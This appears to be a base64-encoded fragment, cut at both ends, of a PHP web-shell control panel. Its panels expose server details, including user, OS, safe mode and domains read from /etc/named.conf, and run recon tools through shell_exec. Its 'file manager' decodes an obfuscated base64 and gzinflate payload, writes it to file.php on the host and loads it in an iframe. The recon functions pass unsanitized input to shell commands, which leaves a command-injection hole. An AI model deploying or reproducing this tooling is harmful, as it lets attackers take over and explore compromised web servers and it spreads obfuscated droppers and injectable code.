l7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQlidXR0b25zW2ldLmRpc2FibGVkID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN0b3BJbnRlcnZhbCIpLmRpc2FibGVkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIAl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIDwvc2NyaXB0Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnc2VydmVyX2luZm8nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48Zm9udCBjb2xvcj0ibWFyb29uIiBzaXplPSI2IiBmYWNlPSJBcmlhbCI+U2VydmVyIEluZm88L2ZvbnQ+PGJyPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImNoa0ludGVybmV0U3RhdHVzKCk7Ij5DaGVjayBJbnRlcm5ldCBDb25uZWN0aW9uPC9idXR0b24+PGJyPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjaGtJbnRlcm5ldFN0YXR1cygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKG5hdmlnYXRvci5vbkxpbmUpIHsNCiAgICAgICAgYWxlcnQoIkh1cnJheSEgWW91J3JlIG9ubGluZSEhISIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGFsZXJ0KCJPb3BzISBZb3UncmUgb2ZmbGluZS4gUGxlYXNlIGNoZWNrIHlvdXIgbmV0d29yayBjb25uZWN0aW9uLi4uZWxzZSBzb21lIGZlYXR1cmVzIG1pZ2h0IG5vdCB3b3JrIHdlbGwuLi4gIik7DQogICAgfQ0KfQ0KPC9zY3JpcHQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5VbmFtZTogPD9waHAgZWNobyBwaHBfdW5hbWUoKTsgPz48L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiBzaWx2ZXI7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5Ccm93c2VyOiA8P3BocCBlY2hvICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsgPz48L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCTxmb250IHN0eWxlPSJjb2xvcjogdGVhbDsgZm9udC1mYW1vbHk6IG1vbm9zcGFjZTsgZm9udC1zaXplOiAxMzAlOyI+T3BlcmF0aW5nIFN5c3RlbTogPD9waHAgZWNobyBQSFBfT1M7ID8+PC9mb250PjxiciAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiBsYXduZ3JlZW47IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5TZXJ2ZXIgU29mdHdhcmU6IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOyA/PiA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5TZXJ2ZXIgSVA6IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107ID8+PC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogbGF3bmdyZWVuOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAxMzAlOyI+VXNlciBJUDogPD9waHAgZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgPz48L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5Vc2VyOiA8P3BocCBlY2hvIEBnZXRfY3VycmVudF91c2VyKCk7ID8+PC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAxMzAlOyI+U2FmZSBNb2RlOiZuYnNwOzw/cGhwICRzYWZlX21vZGUgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsgaWYgKCRzYWZlX21vZGUgPT0gMSkgeyBlY2hvICc8c3BhbiBzdHlsZT0iY29sb3I6IHJlZDsiPk9uJzt9IGVsc2Uge2VjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjogbGF3bmdyZWVuOyI+T2ZmPC9zcGFuPic7fT8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiBsYXduZ3JlZW47IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5Eb21haW5zOiA8P3BocCBpZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiIpIHskb3MgPSAnd2luJzt9ZWxzZSB7JG9zID0gJ25peCc7fWlmKCRvcyA9PSAnbml4JykgeyRkb29zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTtpZighJGRvb3MpIHskRG9tYWluUyA9ICIvdmFyL25hbWVkIjskRG9tYWlub25zZXJ2ZXIgPSBzY2FuZGlyKCREb21haW5TKTskZDBjID0gY291bnQoJERvbWFpbm9uc2VydmVyKTt9IGVsc2Uge0BwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb29zLCAkb3V0KTskb3V0ID0gc2l6ZW9mKGFycmF5X3VuaXF1ZSgkb3V0WzFdKSk7ICRkMGMgPSAkb3V0LiIgIERvbWFpbnMiO319IGVsc2UgeyRkMGMgPSAiMSI7fSBlY2hvICRkMGM7IH0/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvY2VudGVyPjwvZm9udD48L2NlbnRlcj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2ZpbGVfbWFuYWdlciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9tYW5hZ2VyID0gIjdWcHRiOXM0RXY0ZUlQK0JSYjJSalUxczJmVm1BeHRHMFNacGIzRzdtMkxidzJHeExnSkZvbXdpc3FTajZEalpidi83Y1VoS29xZ1hXMG42ZHJjdW1vamt6TU9aNGN4d05NNUJ3S2JQNDJXOHY0ZmRaWVNzQXo1K2NuWngrdTczTitmb0grOSsrZmxnd2FiN2V6QnRqTTVmbk9XamdJVFhhRW14UHp2NHp6cGlVL2tUVVJ5b2lZVGRCVGhaWXN6VUVydUxzVnBqK0pZTjNDUlJyQm1vNEpIRHE4aTcrN0MvaC9qSGowSjI1RHNyRXR4TmtMdW1DYm5CVTdua1JrRkVKMml6SkN5ZHVuTGM2d1dOMXFGM3BGYWYyaWYyRDBPYnIzL2MzM3ZxY2pRY01zVG9aQm5kWVBxaGx1MzQyZkhvK0ptQ0JaR1BrcVhqUlp1SkhkOGkrRCtFSDA5OTN6ZWcrejZoQ2FzRlRrakE5NjNrMlNMU2dqcDNUZktBT0QvK0FQOGtPbk91QXB5aVJkVERIRU1RMmVLRHZJZ3g3RWxhNTRNRzdHRTNvZzRqVVRoQllSVFdtQnU0Q2hLcmRZYWRRQzRqN1pQZ0FMc01mU2pPMXB5aS9oRVNPUUZaY0dGY2JpdGhPNU5JT01rR2s4V1NUYml1Z1RkRk5VVFZucVIvcEttT0F1d0RWc0NQb1o2SXFoMmJxWVJqdy9sRlVmV09wYU91QWpRTUdzVndRTitjUWZOd3JDRlRKdDFLMTk2b0tTUXEyUld5ejBCTFAySmN6SGd2TDg1K2x5TTVGc0dGTnNSalM1WFdmclJ0bGV1a2hHbzZuWFJ4RU1TTzU1RndvVmFlYVN0SjdMajV5bEN0aUZOU2MvS296SnpKS0R5TEp5K2ZWYlRaR0E1S3VzV01ZaS9sdUlLSDB6V2xrSUhlT0d5SkpraG9EdVFwMFVCUVdSeUkrRjJTSkpoMU81ZXZ6OS85WWNXY3czcmY2eWtQN01BWXpWQmhkY29YZUNyQVFZSU5zZ1ZtN3NicjltU21TR2NUUmk4cGpybjM0NjQxbjF1SDFzQTZGSXRBS0I0U1RvWnY0eUR5T0ltK3VyL25SeFE3N3JLcjZKd0VkWWczQS9saEpoV1U2d0ZETkpzaHkwSUh6aXFlaWg5QURKTjJUNHVwanNPM1kzU3RlMWgrY3pyNkhmZ2NkcDBOOGhNYUNQczVxZjFTZHNqNUpNd1FQMVpJMVRPSkdyZE13Ym42M1E2WjJkTU9BY29aMTRjL2Z2KzlybzhBa3N6U1NuOTB5SHM1MWtRRVlRaDZNZ09UOUhTZVFZSDBZMEc0VEcrckQ5QjlLMWQvWU1sak5sM0lKN3hJb0s3bVJkcGVWZTZkZXVzcnpnamVxa3NqV0UzZ2t2MEdPZVNBZWZramhITVdHQlFOOUZNRDdxN2dqaW1XR2k3WmlzY3Nkb2tUdUV1SEpsM1k4Wkk3OWFXNjBwTUtIWlZKVWhEaCt4QWFwbGxrYXVjY0JlKzhmSFB4Vmk1YTcrRnNMSTlmcVF4YkJkTlo5ZG9VRXdNL0pBVW9JMVhLcHRPYVZnQ25LTWdBcnVvdVY1Rm42UjZtS2FQd01WMXBKNnpSQ2VadVVZN0RMV3hGVGJYRUpuMWhRVEVPYzFjOFhUcmhBcU0zSElzTEJmZmxHYTluK3FVc1orcWEzUTFhNXRwUkFraXdEZnVmVXhyUkZnTGt3NDlWR1lqSC9BcXRNRnRHbnRvZnJLZmZFaW1QSm9OTTh5U00xd3lGemlxdHk4SGkxZFc2bWszSW4rbnNXRTNkT01FNm5iUDZ5ZnFLWi9CdUVsTVNNcjlyZlJkWmh3Z0NBS0FUNDZSN3ZVTjBOSWFna0ZDRG9yeTVpSm93UytKNTZma1dST2VJbFJLVm5MekNNcTEyNHE1ZnNaSHc1SjJ4dVpsV3BBcm1kVlJ2aXdFY3RlNGlhZW9vQnlWUGtWemc1cWdNOFVZUVZRYW1CQ2hGSnZ6dTh6dTN2eDNrWG1INks4ZjZNZ0VxZHI1L2FNSW5zNGt3aUNpRURDTk5IeTJXZjhVYktYSk5KS3N0ZHczbWtkMFlPMUw2LzRrNGxZNzkxUVFxOWdockR0TmlkWlQ1bWg5ekIvT2pHSWRta0ZvYlVWY1lBZTF2S0g4WjdISyt3MmJrZG5GN3p1V1h0ZGpuamRwODM0ZkZyTzhHVVNMTTBudTg0QlRWS284emg3K01nQXJKN01SR05Ob2tzNUd0ZXlnL0FMMW0zcW1pTE42ZnFwNU1Oek9WLzBaakZJTGljMGRvcVlMV0N1VnA4UVcyWlptZEY4OXRTL3hadWNSWFNDa2QyQ0VsSk5TcXVzaFhmS0hrTncrSytUTWhFam9qOURNSHZiYnhBNHBvSXhkckpvUjRxN0xoT29SdTl5Y3g0aGRJbmZyT0QzNFgyUlkzc05oSlhDZmtYZ2pkSGZuVXpWbzJSV2FQM0NDU1psZVY5SExCdjVLbUc0Z3NPeFBJRFp3a1VZU2lmMTk3RzNqbHhBRGxtMkV4clNleG5mOHRMOThld3ArL0RpWVBnYmtRZVd3cmhOWjVzVVNyRGlhemRsM3FJZEN3NDcrTmJQZUVKSmZnTlZyWGFnQmtjdHhEZi8wbHVFUU05NjNpc0Y5dXBXVStaM2FaNnBSVkhiZTUzbkxMcFpqbmh5NkV5bnBlcmN4NGRQU1FRNmpxMzNHalFjMEhBVk5udVY2TGhLWG5BcFZDNFZ6NEFYcjMzcUtRbHl6emVHVExvQWEzdGE3Z0ZtMEZ6cEtpTGx1dEU5Mzc4SXppY3A1WGwvTTBJN2tRWkprSHl0cEJsQXk1TTg3cmtvLzY0azJVWGZPczdxb2xWMThyeVZKS1VXbkVRalVsd0U2OHNvTFJFT1FGMUJwSGRGZzBtRlBSY1dtTEl0Ly9OSmpmNUF0aEU4NUFXckN4R0ozcmhXNTZiTHJKZ1NxZEw5cW5rRUx1djRHbVYzR0R6bVB0b0htWnNVTlZNdHkyanl6Y0svR0FQVjFvcXQ1M2picTA1YTlueVZMbDBueWZGNE5YKytMZ2daUGFuUWppVk42SVVKZFdYSWt3WGN4aU1KT2xzWXBicndNdEgrZ2J3RGNTL0xHV2V6QzBSK01LUnZGdGFsZU1EcDhaT1ZqU2dESXpCT3lsbGtVWlEyeHpPT0t2c2VpWGwzcU9yYXB4VTM3eG0zUDhzOGlSMWhUWm9kN3pkbGZmMXN4MG85UW1Xcmw4dnh0Zm92U2xPbzl3aTdRcEFRcU84b2xxZ0YzM2FGMEVhTUR0MVcwdUEycGtycXdEL3I3OS96OXUveW9jNkZCcEtOQ04vSUlWQkhqdEp5NGhIbTJMYlRWRXk0Mit0aUlpN3docXI3MGV1Y242aVBxZlhlWnRXa0dXLzRHUkdLWi9mUWxzL2pvVU9VQ2x3MEpGMEJGejZsYlgxOFZyTnZGUnQ2dElaSS9SdmoyMWJic24vdEJGUFNxa3dRQzlqZHhyekJRd0NmMkk0MXFKa0Z4bC9ETGNpeHp1aFFsM3Q3cUtBdUtpbjBsNGJhQUd6YWduT2VxSmdmb2JYcXdEaHhwNFI4MTR4em5lc1lIM011QmFJOVY2TjFDdm1sSEhPZXJZUUQwamxJZDhSTzhNUks4WmNaUWpqZ3pFMDZWRCtWMkFhWTJzYmpQeU1FY2VHc2l2Zm5wMWdXSVNZd014emhFMTZuK0YxMkcwQ1EzYXRmTHYvVDFPY3JFSk1UOGd1ZGlmbFlXeGh5REJjMlJSQzAzZzhNU2ZkOVdUMnllU2ZMTWorUmpJaXdWa21lcEV5WkFJMEZzTDlkQmtWNTYzcVNBeXpyak9yM2xsR3pkTE5XcW44N0NkenZiSkRqcVA3Nkh6dUZibmYwYzA4TFpJTlc2bHN6MXFwL053QjUxSFNuN1dRdWVVNTExUlp5Q21tSzFwS0QxZit2eHpTTlRvRy9qOEZ3PT0iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd3JpdGluZyA9IEBmb3BlbignZmlsZS5waHAnLCAidyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCR3cml0aW5nLCBodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkZmlsZV9tYW5hZ2VyKSkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkd3JpdGluZyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlmcmFtZSBzcmM9ImZpbGUucGhwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI1MTUiPjwvaWZyYW1lPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnaXBfbG9va3VwJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+PGZvbnQgY29sb3I9ImdvbGQiIHNpemU9IjciIGZhY2U9ImN1cnNpdmUiPklwIGxvb2t1cDwvZm9udD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IiI+RW50ZXIgU2l0ZSBuYW1lOiA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzaXRlX25hbWUiIHBsYWNlaG9sZGVyPSJ3d3cuZ29vZ2xlLmNvbSIgLz4gPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImlwX2xvb2t1cGFkZHIiIGlkPSJidXR0b24iPiA8L2J1dHRvbj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydpcF9sb29rdXBhZGRyJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJJGlwYWRkciA9IGdldGhvc3RieW5hbWUoJF9QT1NUWydzaXRlX25hbWUnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJJGRvbWFpbiA9IGdldGhvc3RieWFkZHIoJGlwYWRkcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWNobyAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWNobyAiPHA+SVAgQWRkcmVzcyBvZiAiLiAkX1BPU1RbJ3NpdGVfbmFtZSddIC4gIiBpcyIgLiAiICIuJGlwYWRkciAuICI8L3A+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAllY2hvICI8cD5Eb21haW46ICIuICRkb21haW4gLiAiPC9wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWNobyAiPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsncmVjb24nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxicj48Zm9udCBjb2xvcj0idGVhbCIgc2l6ZT0iNyIgZmFjZT0iY3Vyc2l2ZSI+V0hPSVMgU2NhbiA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAk8aW5wdXQgdmFsdWU9IiIgcGxhY2Vob2xkZXI9Imdvb2dsZS5jb20uLi4iIG5hbWU9InRhcmdldCIgcmVxdWlyZWQvPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgaWQ9ImJ1dHRvbiIgbmFtZT0ic3VibWl0Ij4gPC9idXR0b24+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAk8L2Zvcm0+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2luaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2luaV9zZXQoJ2Rpc3BsYXlfc3RhcnR1cF9lcnJvcnMnLCAxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcHJvZ3Jlc3MoJGl0ZW0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGl0ZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHVybCgkdGFyZ2V0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmluZF91cmwgPSBzaGVsbF9leGVjKCJjdXJsIC1JIC1MICR0YXJnZXQgfCBhd2sgJy9Mb2NhdGlvbi97cHJpbnQgJDJ9JyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcyA9IGV4cGxvZGUoIlxuIiwgdHJpbSgkZmluZF91cmwpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1cmwgPSBlbmQoJHJlcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXJsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHVybDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gImh0dHA6Ly8iLiR0YXJnZXQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdob2lzKCR0YXJnZXQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aG9pcyA9IHNoZWxsX2V4ZWMoIndob2lzICR0YXJnZXQiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkd2hvaXM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBmaXJld2FsbCgkdXJsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2hlY2tfZmlyZXdhbGwgPSBzaGVsbF9leGVjKCIvdXNyL2Jpbi93YWZ3MDBmICR1cmwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi9pc1xzYmVoaW5kXHNhXHMoLis/KVxuLyIsICRjaGVja19maXJld2FsbCwgJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmVzdWx0WzFdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlyZXdhbGwgPSAkcmVzdWx0WzFdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaXJld2FsbCA9ICdOb25lJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkZmlyZXdhbGw7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBkZWJ1ZygkdXJsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGVidWcgPSBzaGVsbF9leGVjKCJjdXJsIC1JICR1cmwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkZGVidWc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3aGF0d2ViKCR1cmwpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjaGVja19zdGFjayA9IHNoZWxsX2V4ZWMoIndoYXR3ZWIgLS1uby1lcnJvcnMgJHVybCAtLWxvZy14bWw9L3Zhci93d3cvaHRtbC93dy90bXAvdGVtcC54bWwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlcGF0aCA9ICIvdmFyL3d3dy9odG1sL3d3L3RtcC90ZW1wLnhtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IHV0ZjhfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcGF0aCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhtbCA9IHNpbXBsZXhtbF9sb2FkX3N0cmluZygkY29udGVudCwgJ1NpbXBsZVhNTEVsZW1lbnQnLCBMSUJYTUxfQ09NUEFDVCB8IExJQlhNTF9QQVJTRUhVR0UpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkeG1sLT50YXJnZXQgYXMgJHRhcmdldCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFycmF5ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHRhcmdldC0+cGx1Z2luIGFzICRrZXkgPT4gJGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcnJheVtdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAka2V5ID0+ICRkYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc1tdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAndGFyZ2V0JyA9PiAkdGFyZ2V0LT51cmksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZGF0YScgPT4gJGFycmF5DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9ICRyZXM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1bmxpbmsoJGZpbGVwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhcmdldCA9IHRyaW0oJF9QT1NUWyd0YXJnZXQnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VibWl0ID0gJF9QT1NUWydzdWJtaXQnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9jZW50ZXI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkdGFyZ2V0KSAmJiBpc3NldCgkc3VibWl0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybCA9IHVybCgkdGFyZ2V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2dyZXNzKCI8cD48Yj5VUkw6PC9iPiA8YSBocmVmPSckdXJsJyB0YXJnZXQ9X2JsYW5rIHJlbD0nbm9mb2xsb3cnPiR1cmw8L2E+PC9wPiIpOw0KICAgICAgICAgICAgICAgICAgICAgIC